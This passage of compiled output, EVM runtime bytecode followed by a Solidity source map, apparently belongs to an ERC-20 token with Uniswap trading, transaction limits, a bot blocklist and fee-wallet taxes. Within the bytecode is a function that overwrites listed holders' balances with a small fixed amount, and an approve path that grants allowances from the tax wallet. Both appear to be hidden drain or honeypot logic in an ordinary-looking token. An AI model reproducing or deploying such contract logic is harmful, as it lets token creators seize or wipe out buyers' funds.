1161c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057c5760405162461bcd60e51b81526004016104189061161c565b6015805460ff60b81b191690556105956009600a611745565b6105a390633b9aca00611753565b600f556105b26009600a611745565b6105c090633b9aca00611753565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105f06009600a611745565b6105fe90633b9aca00611753565b60405190815260200160405180910390a1565b5f5b81518110156106b05760145482516001600160a01b039091169083908390811061063f5761063f61176a565b60200260200101516001600160a01b031603610659575050565b6106656009600a611745565b610670906064611753565b60015f8484815181106106855761068561176a565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610613565b5050565b5f6106c0338484610b2c565b50600192915050565b5f546001600160a01b031633146106f25760405162461bcd60e51b81526004016104189061161c565b601554600160a01b900460ff161561074c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610418565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107959030906107876009600a611745565b6104d390633b9aca00611753565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610809919061177e565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610868573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088c919061177e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108d6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fa919061177e565b601580546001600160a01b039283166001600160a01b031991821681179092556014805490911690911790556013541663f305d719473061094f816001600160a01b03165f9081526001602052604090205490565b5f806109625f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109c8573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109ed9190611799565b50506015805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610a6b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610418565b6001600160a01b038216610acc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610418565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610418565b6001600160a01b038216610bf25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610418565b5f8111610c535760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610418565b5f80546001600160a01b03858116911614801590610c7e57505f546001600160a01b03848116911614155b15610f74576001600160a01b0384165f9081526005602052604090205460ff16158015610cc357506001600160a01b0383165f9081526005602052604090205460ff16155b610ccb575f80fd5b610cf76064610cf1600b54600e5411610ce657600754610cea565b6009545b85906110e9565b9061116e565b6014549091506001600160a01b038581169116148015610d2557506013546001600160a01b03848116911614155b8015610d4957506001600160a01b0383165f9081526003602052604090205460ff16155b15610e2f57600f54821115610da05760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610418565b60105482610dc2856001600160a01b03165f9081526001602052604090205490565b610dcc91906117c4565b1115610e1a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610418565b600e8054905f610e29836117d7565b91905055505b6014546001600160a01b038481169116148015610e5557506001600160a01b0384163014155b15610e8d57610e7f6064610cf1600c54600e5411610e7557600854610cea565b600a5485906110e9565b905047610e8b476111af565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610ec357506014546001600160a01b038581169116145b8015610ed85750601554600160b01b900460ff165b8015610ee5575060115481115b8015610ef45750600d54600e54115b15610f7257601554600160b81b900460ff1615610f4d57436016541015610f4857610f32610f2d84610f28846012546111e6565b6111e6565b6111fa565b478015610f4257610f42476111af565b50436016555b610f72565b610f60610f2d84610f28846012546111e6565b478015610f7057610f70476111af565b505b505b8015610fec57305f90815260016020526040902054610f93908261136a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe39085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461100e90836113c8565b6001600160a01b0385165f9081526001602052604090205561105161103383836113c8565b6001600160a01b0385165f908152600160205260409020549061136a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61109a85856113c8565b60405190815260200160405180910390a350505050565b5f81848411156110d45760405162461bcd60e51b81526004016104189190611435565b505f6110e084866117ef565b95945050505050565b5f825f036110f857505f6103e9565b5f6111038385611753565b9050826111108583611802565b146111675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610418565b9392505050565b5f61116783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611409565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156106b0573d5f803e3d5ffd5b5f8183116111f45782611167565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112405761124061176a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611297573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112bb919061177e565b816001815181106112ce576112ce61176a565b6001600160a01b0392831660209182029290920101526013546112f49130911684610a09565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061132c9085905f90869030904290600401611821565b5f604051808303815f87803b158015611343575f80fd5b505af1158015611355573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f8061137683856117c4565b9050838110156111675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610418565b5f61116783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110b1565b5f81836114295760405162461bcd60e51b81526004016104189190611435565b505f6110e08486611802565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610458575f80fd5b80356114898161146a565b919050565b5f806040838503121561149f575f80fd5b82356114aa8161146a565b946020939093013593505050565b5f805f606084860312156114ca575f80fd5b83356114d58161146a565b925060208401356114e58161146a565b929592945050506040919091013590565b5f60208284031215611506575f80fd5b81356111678161146a565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611536575f80fd5b823567ffffffffffffffff8082111561154d575f80fd5b818501915085601f830112611560575f80fd5b81358181111561157257611572611511565b8060051b604051601f19603f8301168101818110858211171561159757611597611511565b6040529182528482019250838101850191888311156115b4575f80fd5b938501935b828510156115d9576115ca8561147e565b845293850193928501926115b9565b98975050505050505050565b5f80604083850312156115f6575f80fd5b82356116018161146a565b915060208301356116118161146a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561169f57815f190482111561168557611685611651565b8085161561169257918102915b93841c939080029061166a565b509250929050565b5f826116b5575060016103e9565b816116c157505f6103e9565b81600181146116d757600281146116e1576116fd565b60019150506103e9565b60ff8411156116f2576116f2611651565b50506001821b6103e9565b5060208310610133831016604e8410600b8410161715611720575081810a6103e9565b61172a8383611665565b805f190482111561173d5761173d611651565b029392505050565b5f61116760ff8416836116a7565b80820281158282048414176103e9576103e9611651565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561178e575f80fd5b81516111678161146a565b5f805f606084860312156117ab575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103e9576103e9611651565b5f600182016117e8576117e8611651565b5060010190565b818103818111156103e9576103e9611651565b5f8261181c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118715784516001600160a01b03168352938301939183019160010161184c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f5be32c7ed52c3469e02be4ad8eb5cff4b3f8829fcc13d2c4712337a5279792e64736f6c63430008190033

3615:8311:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5696:83;;;;;;;;;;-1:-1:-1;5766:5:0;;;;;;;;;;;;-1:-1:-1;;;5766:5:0;;;;5696:83;;;;;;;:::i;:::-;;;;;;;;6513:241;;;;;;;;;;-1:-1:-1;6513:241:0;;;;;:::i;:::-;;:::i;:::-;;;1197:14:1;;1190:22;1172:41;;1160:2;1145:18;6513:241:0;1032:187:1;10864:113:0;;;;;;;;;;;;;:::i;:::-;;4729:45;;;;;;;;;;;;;;;;;;;1370:25:1;;;1358:2;1343:18;4729:45:0;1224:177:1;5967:95:0;;;;;;;;;;;;;:::i;6760:314::-;;;;;;;;;;-1:-1:-1;6760:314:0;;;;;:::i;:::-;;:::i;4677:45::-;;;;;;;;;;;;;;;;5878:83;;;;;;;;;;-1:-1:-1;5878:83:0;;4364:1;2009:36:1;;1997:2;1982:18;5878:83:0;1867:184:1;4619:51:0;;;;;;;;;;;;;;;;6068:117;;;;;;;;;;-1:-1:-1;6068:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6161:16:0;6134:7;6161:16;;;:7;:16;;;;;;;6068:117;2785:148;;;;;;;;;;;;;:::i;11088:193::-;;;;;;;;;;;;;:::i;4565:47::-;;;;;;;;;;;;;;;;2571:79;;;;;;;;;;-1:-1:-1;2609:7:0;2636:6;2571:79;;-1:-1:-1;;;;;2636:6:0;;;2454:51:1;;2442:2;2427:18;2571:79:0;2308:203:1;5785:87:0;;;;;;;;;;-1:-1:-1;5857:7:0;;;;;;;;;;;;-1:-1:-1;;;5857:7:0;;;;5785:87;;7080:237;;;;;;;;;;-1:-1:-1;7080:237:0;;;;;:::i;:::-;;:::i;6191:167::-;;;;;;;;;;-1:-1:-1;6191:167:0;;;;;:::i;:::-;;:::i;11322:601::-;;;;;;;;;;;;;:::i;6364:143::-;;;;;;;;;;-1:-1:-1;6364:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6472:18:0;;;6445:7;6472:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6364:143;6513:241;-1:-1:-1;;;;;6639:23:0;;6588:4;6639:23;;;:14;:23;;;;;;329:10;;6639:23;;6636:44;;;-1:-1:-1;6671:9:0;;-1:-1:-1;;;;;6671:9:0;6636:44;6691:33;6700:6;6708:7;6717:6;6691:8;:33::i;:::-;6742:4;6735:11;;;6513:241;;;;;:::o;10864:113::-;2698:6;;-1:-1:-1;;;;;2698:6:0;329:10;2698:22;2690:67;;;;-1:-1:-1;;;2690:67:0;;;;;;;:::i;:::-;;;;;;;;;2609:7;2636:6;;10921:48:::1;::::0;-1:-1:-1;;;;;2636:6:0;;;;10947:21:::1;10921:48:::0;::::1;;;::::0;10947:21;;10921:48;2609:7;10921:48;10947:21;2636:6;10921:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10864:113::o:0;5967:95::-;6020:7;4420:13;4364:1;4420:2;:13;:::i;:::-;4407:26;;:10;:26;:::i;:::-;6040:14;;5967:95;:::o;6760:314::-;6858:4;6875:36;6885:6;6893:9;6904:6;6875:9;:36::i;:::-;6923:121;6932:6;329:10;6954:89;6992:6;6954:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6954:19:0;;;;;;:11;:19;;;;;;;;329:10;6954:33;;;;;;;;;;:37;:89::i;:::-;6923:8;:121::i;:::-;-1:-1:-1;7062:4:0;6760:314;;;;;:::o;2785:148::-;2698:6;;-1:-1:-1;;;;;2698:6:0;329:10;2698:22;2690:67;;;;-1:-1:-1;;;2690:67:0;;;;;;;:::i;:::-;2892:1:::1;2876:6:::0;;2855:40:::1;::::0;-1:-1:-1;;;;;2876:6:0;;::::1;::::0;2855:40:::1;::::0;2892:1;;2855:40:::1;2923:1;2906:19:::0;;-1:-1:-1;;;;;;2906:19:0::1;::::0;;2785:148::o;11088:193::-;2698:6;;-1:-1:-1;;;;;2698:6:0;329:10;2698:22;2690:67;;;;-1:-1:-1;;;2690:67:0;;;;;;;:::i;:::-;11142:12:::1;:20:::0;;-1:-1:-1;;;;11142:20:0::1;::::0;;4420:13:::1;4364:1;4420:2;:13;:::i;:::-;4407:26;::::0;:10:::1;:26;:::i;:::-;11173:12;:22:::0;4420:13:::1;4364:1;4420:2;:13;:::i;:::-;4407:26;::::0;:10:::1;:26;:::i;:::-;11206:16;:24:::0;11246:27:::1;4420:13;4364:1;4420:2;:13;:::i;:::-;4407:26;::::0;:10:::1;:26;:::i;:::-;11246:27;::::0;1370:25:1;;;1358:2;1343:18;11246:27:0::1;;;;;;;11088:193::o:0;7080:237::-;7151:9;7146:164;7170:5;:12;7166:1;:16;7146:164;;;7221:13;;7209:8;;-1:-1:-1;;;;;7221:13:0;;;;7209:5;;7215:1;;7209:8;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;7209:25:0;;7205:38;;7236:7;7080:237;:::o;7205:38::-;7283:15;4364:1;7283:2;:15;:::i;:::-;7277:21;;:3;:21;:::i;:::-;7257:7;:17;7265:5;7271:1;7265:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;7257:17:0;;;;;;;;;;;-1:-1:-1;7257:17:0;:41;7184:4;;7146:164;;;;7080:237;:::o;6191:167::-;6269:4;6286:42;329:10;6310:9;6321:6;6286:9;:42::i;:::-;-1:-1:-1;6346:4:0;6191:167;;;;:::o;11322:601::-;2698:6;;-1:-1:-1;;;;;2698:6:0;329:10;2698:22;2690:67;;;;-1:-1:-1;;;2690:67:0;;;;;;;:::i;:::-;11386:11:::1;::::0;-1:-1:-1;;;11386:11:0;::::1;;;11385:12;11377:47;;;::::0;-1:-1:-1;;;11377:47:0;;6544:2:1;11377:47:0::1;::::0;::::1;6526:21:1::0;6583:2;6563:18;;;6556:30;6622:25;6602:18;;;6595:53;6665:18;;11377:47:0::1;6342:347:1::0;11377:47:0::1;11435:15;:80:::0;;-1:-1:-1;;;;;;11435:80:0::1;11472:42;11435:80:::0;;::::1;::::0;;;11526:58:::1;::::0;11543:4:::1;::::0;4420:13:::1;4364:1;4420:2;:13;:::i;:::-;4407:26;::::0;:10:::1;:26;:::i;11526:58::-;11641:15;;;;;;;;;-1:-1:-1::0;;;;;11641:15:0::1;-1:-1:-1::0;;;;;11641:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11623:55:0::1;;11687:4;11694:15;;;;;;;;;-1:-1:-1::0;;;;;11694:15:0::1;-1:-1:-1::0;;;;;11694:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11623:94;::::0;-1:-1:-1;;;;;;11623:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7180:15:1;;;11623:94:0::1;::::0;::::1;7162:34:1::0;7232:15;;7212:18;;;7205:43;7097:18;;11623:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11611:9;:106:::0;;-1:-1:-1;;;;;11611:106:0;;::::1;-1:-1:-1::0;;;;;;11611:106:0;;::::1;::::0;::::1;::::0;;;11595:13:::1;:122:::0;;;;::::1;::::0;;::::1;::::0;;11728:15:::1;::::0;::::1;:31;11767:21;11798:4;11804:24;11798:4:::0;-1:-1:-1;;;;;6161:16:0;6134:7;6161:16;;;:7;:16;;;;;;;6068:117;11804:24:::1;11829:1;11831::::0;11833:7:::1;2609::::0;2636:6;-1:-1:-1;;;;;2636:6:0;;2571:79;11833:7:::1;11728:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11728:129:0;;;-1:-1:-1;;;;;7618:15:1;;;11728:129:0::1;::::0;::::1;7600:34:1::0;7650:18;;;7643:34;;;;7693:18;;;7686:34;;;;7736:18;;;7729:34;7800:15;;;7779:19;;;7772:44;11841:15:0::1;7832:19:1::0;;;7825:35;7534:19;;11728:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11868:11:0::1;:18:::0;;-1:-1:-1;;;;11897:18:0;-1:-1:-1;;;11897:18:0;;;-1:-1:-1;11322:601:0:o;7323:335::-;-1:-1:-1;;;;;7416:19:0;;7408:68;;;;-1:-1:-1;;;7408:68:0;;8384:2:1;7408:68:0;;;8366:21:1;8423:2;8403:18;;;8396:30;8462:34;8442:18;;;8435:62;-1:-1:-1;;;8513:18:1;;;8506:34;8557:19;;7408:68:0;8182:400:1;7408:68:0;-1:-1:-1;;;;;7495:21:0;;7487:68;;;;-1:-1:-1;;;7487:68:0;;8789:2:1;7487:68:0;;;8771:21:1;8828:2;8808:18;;;8801:30;8867:34;8847:18;;;8840:62;-1:-1:-1;;;8918:18:1;;;8911:32;8960:19;;7487:68:0;8587:398:1;7487:68:0;-1:-1:-1;;;;;7566:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7618:32;;1370:25:1;;;7618:32:0;;1343:18:1;7618:32:0;;;;;;;7323:335;;;:::o;7664:2607::-;-1:-1:-1;;;;;7752:18:0;;7744:68;;;;-1:-1:-1;;;7744:68:0;;9192:2:1;7744:68:0;;;9174:21:1;9231:2;9211:18;;;9204:30;9270:34;9250:18;;;9243:62;-1:-1:-1;;;9321:18:1;;;9314:35;9366:19;;7744:68:0;8990:401:1;7744:68:0;-1:-1:-1;;;;;7831:16:0;;7823:64;;;;-1:-1:-1;;;7823:64:0;;9598:2:1;7823:64:0;;;9580:21:1;9637:2;9617:18;;;9610:30;9676:34;9656:18;;;9649:62;-1:-1:-1;;;9727:18:1;;;9720:33;9770:19;;7823:64:0;9396:399:1;7823:64:0;7915:1;7906:6;:10;7898:64;;;;-1:-1:-1;;;7898:64:0;;10002:2:1;7898:64:0;;;9984:21:1;10041:2;10021:18;;;10014:30;10080:34;10060:18;;;10053:62;-1:-1:-1;;;10131:18:1;;;10124:39;10180:19;;7898:64:0;9800:405:1;7898:64:0;7973:14;2636:6;;-1:-1:-1;;;;;8004:15:0;;;2636:6;;8004:15;;;;:32;;-1:-1:-1;2609:7:0;2636:6;-1:-1:-1;;;;;8023:13:0;;;2636:6;;8023:13;;8004:32;8000:1943;;;-1:-1:-1;;;;;8062:11:0;;;;;;:5;:11;;;;;;;;8061:12;:26;;;;-1:-1:-1;;;;;;8078:9:0;;;;;;:5;:9;;;;;;;;8077:10;8061:26;8053:35;;;;;;8112:73;8181:3;8112:64;8134:12;;8124:9;;:22;8123:52;;8161:14;;8123:52;;;8148:12;;8123:52;8112:6;;:10;:64::i;:::-;:68;;:73::i;:::-;8212:13;;8103:82;;-1:-1:-1;;;;;;8204:21:0;;;8212:13;;8204:21;:55;;;;-1:-1:-1;8243:15:0;;-1:-1:-1;;;;;8229:30:0;;;8243:15;;8229:30;;8204:55;:80;;;;-1:-1:-1;;;;;;8265:19:0;;;;;;:15;:19;;;;;;;;8263:21;8204:80;8200:312;;;8324:12;;8314:6;:22;;8306:60;;;;-1:-1:-1;;;8306:60:0;;10412:2:1;8306:60:0;;;10394:21:1;10451:2;10431:18;;;10424:30;10490:27;10470:18;;;10463:55;10535:18;;8306:60:0;10210:349:1;8306:60:0;8419:16;;8409:6;8393:13;8403:2;-1:-1:-1;;;;;6161:16:0;6134:7;6161:16;;;:7;:16;;;;;;;6068:117;8393:13;:22;;;;:::i;:::-;:42;;8385:81;;;;-1:-1:-1;;;8385:81:0;;10896:2:1;8385:81:0;;;10878:21:1;10935:2;10915:18;;;10908:30;10974:28;10954:18;;;10947:56;11020:18;;8385:81:0;10694:350:1;8385:81:0;8485:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8200:312;8535:13;;-1:-1:-1;;;;;8529:19:0;;;8535:13;;8529:19;:43;;;;-1:-1:-1;;;;;;8552:20:0;;8567:4;8552:20;;8529:43;8526:361;;;8602:76;8674:3;8602:67;8624:13;;8614:9;;:23;8613:55;;8653:15;;8613:55;;;8639:13;;8602:6;;:10;:67::i;:76::-;8593:85;-1:-1:-1;8726:21:0;8817:35;8830:21;8817:12;:35::i;:::-;8574:313;8526:361;8950:4;8901:28;6161:16;;;:7;:16;;;;;;8976:6;;-1:-1:-1;;;8976:6:0;;;;8975:7;:30;;;;-1:-1:-1;8992:13:0;;-1:-1:-1;;;;;8986:19:0;;;8992:13;;8986:19;8975:30;:45;;;;-1:-1:-1;9009:11:0;;-1:-1:-1;;;9009:11:0;;;;8975:45;:81;;;;;9045:11;;9024:20;:32;8975:81;:108;;;;;9070:13;;9060:9;;:23;8975:108;8971:961;;;9108:12;;-1:-1:-1;;;9108:12:0;;;;9104:813;;;9164:12;9149;;:27;9145:429;;;9205:67;9222:49;9226:6;9233:37;9237:20;9258:11;;9233:3;:37::i;:::-;9222:3;:49::i;:::-;9205:16;:67::i;:::-;9328:21;9379:22;;9376:121;;9434:35;9447:21;9434:12;:35::i;:::-;-1:-1:-1;9538:12:0;9523;:27;9145:429;9104:813;;;9622:67;9639:49;9643:6;9650:37;9654:20;9675:11;;9650:3;:37::i;9622:67::-;9741:21;9788:22;;9785:113;;9839:35;9852:21;9839:12;:35::i;:::-;9599:318;9104:813;8038:1905;8000:1943;9956:8;;9953:149;;10017:4;10001:22;;;;:7;:22;;;;;;:34;;10028:6;10001:26;:34::i;:::-;9994:4;9978:22;;;;:7;:22;;;;;;;:57;;;;10053:37;;-1:-1:-1;;;;;10053:37:0;;;;;;;10083:6;1370:25:1;;1358:2;1343:18;;1224:177;10053:37:0;;;;;;;;9953:149;-1:-1:-1;;;;;10126:13:0;;;;;;:7;:13;;;;;;:25;;10144:6;10126:17;:25::i;:::-;-1:-1:-1;;;;;10112:13:0;;;;;;:7;:13;;;;;:39;10174:35;10190:18;:6;10201;10190:10;:18::i;:::-;-1:-1:-1;;;;;10174:11:0;;;;;;:7;:11;;;;;;;:15;:35::i;:::-;-1:-1:-1;;;;;10162:11:0;;;;;;;:7;:11;;;;;:47;;;;10225:38;;;10244:18;:6;10255;10244:10;:18::i;:::-;10225:38;;1370:25:1;;;1358:2;1343:18;10225:38:0;;;;;;;7733:2538;7664:2607;;;:::o;707:190::-;793:7;829:12;821:6;;;;813:29;;;;-1:-1:-1;;;813:29:0;;;;;;;;:::i;:::-;-1:-1:-1;853:9:0;865:5;869:1;865;:5;:::i;:::-;853:17;707:190;-1:-1:-1;;;;;707:190:0:o;905:246::-;963:7;987:1;992;987:6;983:47;;-1:-1:-1;1017:1:0;1010:8;;983:47;1040:9;1052:5;1056:1;1052;:5;:::i;:::-;1040:17;-1:-1:-1;1085:1:0;1076:5;1080:1;1040:17;1076:5;:::i;:::-;:10;1068:56;;;;-1:-1:-1;;;1068:56:0;;11746:2:1;1068:56:0;;;11728:21:1;11785:2;11765:18;;;11758:30;11824:34;11804:18;;;11797:62;-1:-1:-1;;;11875:18:1;;;11868:31;11916:19;;1068:56:0;11544:397:1;1068:56:0;1142:1;905:246;-1:-1:-1;;;905:246:0:o;1159:132::-;1217:7;1244:39;1248:1;1251;1244:39;;;;;;;;;;;;;;;;;:3;:39::i;10766:92::-;10823:10;;:27;;-1:-1:-1;;;;;10823:10:0;;;;:27;;;;;10843:6;;10823:10;:27;:10;:27;10843:6;10823:10;:27;;;;;;;;;;;;;;;;;;;10983:99;11040:7;11068:1;11066;:3;11065:9;;11073:1;11065:9;;;-1:-1:-1;11071:1:0;10983:99;-1:-1:-1;10983:99:0:o;10277:483::-;5162:6;:13;;-1:-1:-1;;;;5162:13:0;-1:-1:-1;;;5162:13:0;;;10379:16:::1;::::0;;10393:1:::1;10379:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10379:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10379:16:0::1;10355:40;;10424:4;10406;10411:1;10406:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10406:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10450:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10450:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10406:7;;10450:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10440:4;10445:1;10440:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10440:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10515:15:::1;::::0;10483:62:::1;::::0;10500:4:::1;::::0;10515:15:::1;10533:11:::0;10483:8:::1;:62::i;:::-;10556:15;::::0;:196:::1;::::0;-1:-1:-1;;;10556:196:0;;-1:-1:-1;;;;;10556:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10637:11;;10556:15:::1;::::0;10679:4;;10706::::1;::::0;10726:15:::1;::::0;10556:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5198:6:0;:14;;-1:-1:-1;;;;5198:14:0;;;-1:-1:-1;;;;10277:483:0:o;376:179::-;434:7;;466:5;470:1;466;:5;:::i;:::-;454:17;;495:1;490;:6;;482:46;;;;-1:-1:-1;;;482:46:0;;13133:2:1;482:46:0;;;13115:21:1;13172:2;13152:18;;;13145:30;13211:29;13191:18;;;13184:57;13258:18;;482:46:0;12931:351:1;563:136:0;621:7;648:43;652:1;655;648:43;;;;;;;;;;;;;;;;;:3;:43::i;1299:189::-;1385:7;1420:12;1413:5;1405:28;;;;-1:-1:-1;;;1405:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1444:9:0;1456:5;1460:1;1456;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:134;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:315::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1017:2;1002:18;;;;989:32;;-1:-1:-1;;;712:315:1:o;1406:456::-;1483:6;1491;1499;1552:2;1540:9;1531:7;1527:23;1523:32;1520:52;;;1568:1;1565;1558:12;1520:52;1607:9;1594:23;1626:31;1651:5;1626:31;:::i;:::-;1676:5;-1:-1:-1;1733:2:1;1718:18;;1705:32;1746:33;1705:32;1746:33;:::i;:::-;1406:456;;1798:7;;-1:-1:-1;;;1852:2:1;1837:18;;;;1824:32;;1406:456::o;2056:247::-;2115:6;2168:2;2156:9;2147:7;2143:23;2139:32;2136:52;;;2184:1;2181;2174:12;2136:52;2223:9;2210:23;2242:31;2267:5;2242:31;:::i;2516:127::-;2577:10;2572:3;2568:20;2565:1;2558:31;2608:4;2605:1;2598:15;2632:4;2629:1;2622:15;2648:1121;2732:6;2763:2;2806;2794:9;2785:7;2781:23;2777:32;2774:52;;;2822:1;2819;2812:12;2774:52;2862:9;2849:23;2891:18;2932:2;2924:6;2921:14;2918:34;;;2948:1;2945;2938:12;2918:34;2986:6;2975:9;2971:22;2961:32;;3031:7;3024:4;3020:2;3016:13;3012:27;3002:55;;3053:1;3050;3043:12;3002:55;3089:2;3076:16;3111:2;3107;3104:10;3101:36;;;3117:18;;:::i;:::-;3163:2;3160:1;3156:10;3195:2;3189:9;3258:2;3254:7;3249:2;3245;3241:11;3237:25;3229:6;3225:38;3313:6;3301:10;3298:22;3293:2;3281:10;3278:18;3275:46;3272:72;;;3324:18;;:::i;:::-;3360:2;3353:22;3410:18;;;3444:15;;;;-1:-1:-1;3486:11:1;;;3482:20;;;3514:19;;;3511:39;;;3546:1;3543;3536:12;3511:39;3570:11;;;;3590:148;3606:6;3601:3;3598:15;3590:148;;;3672:23;3691:3;3672:23;:::i;:::-;3660:36;;3623:12;;;;3716;;;;3590:148;;;3757:6;2648:1121;-1:-1:-1;;;;;;;;2648:1121:1:o;3774:388::-;3842:6;3850;3903:2;3891:9;3882:7;3878:23;3874:32;3871:52;;;3919:1;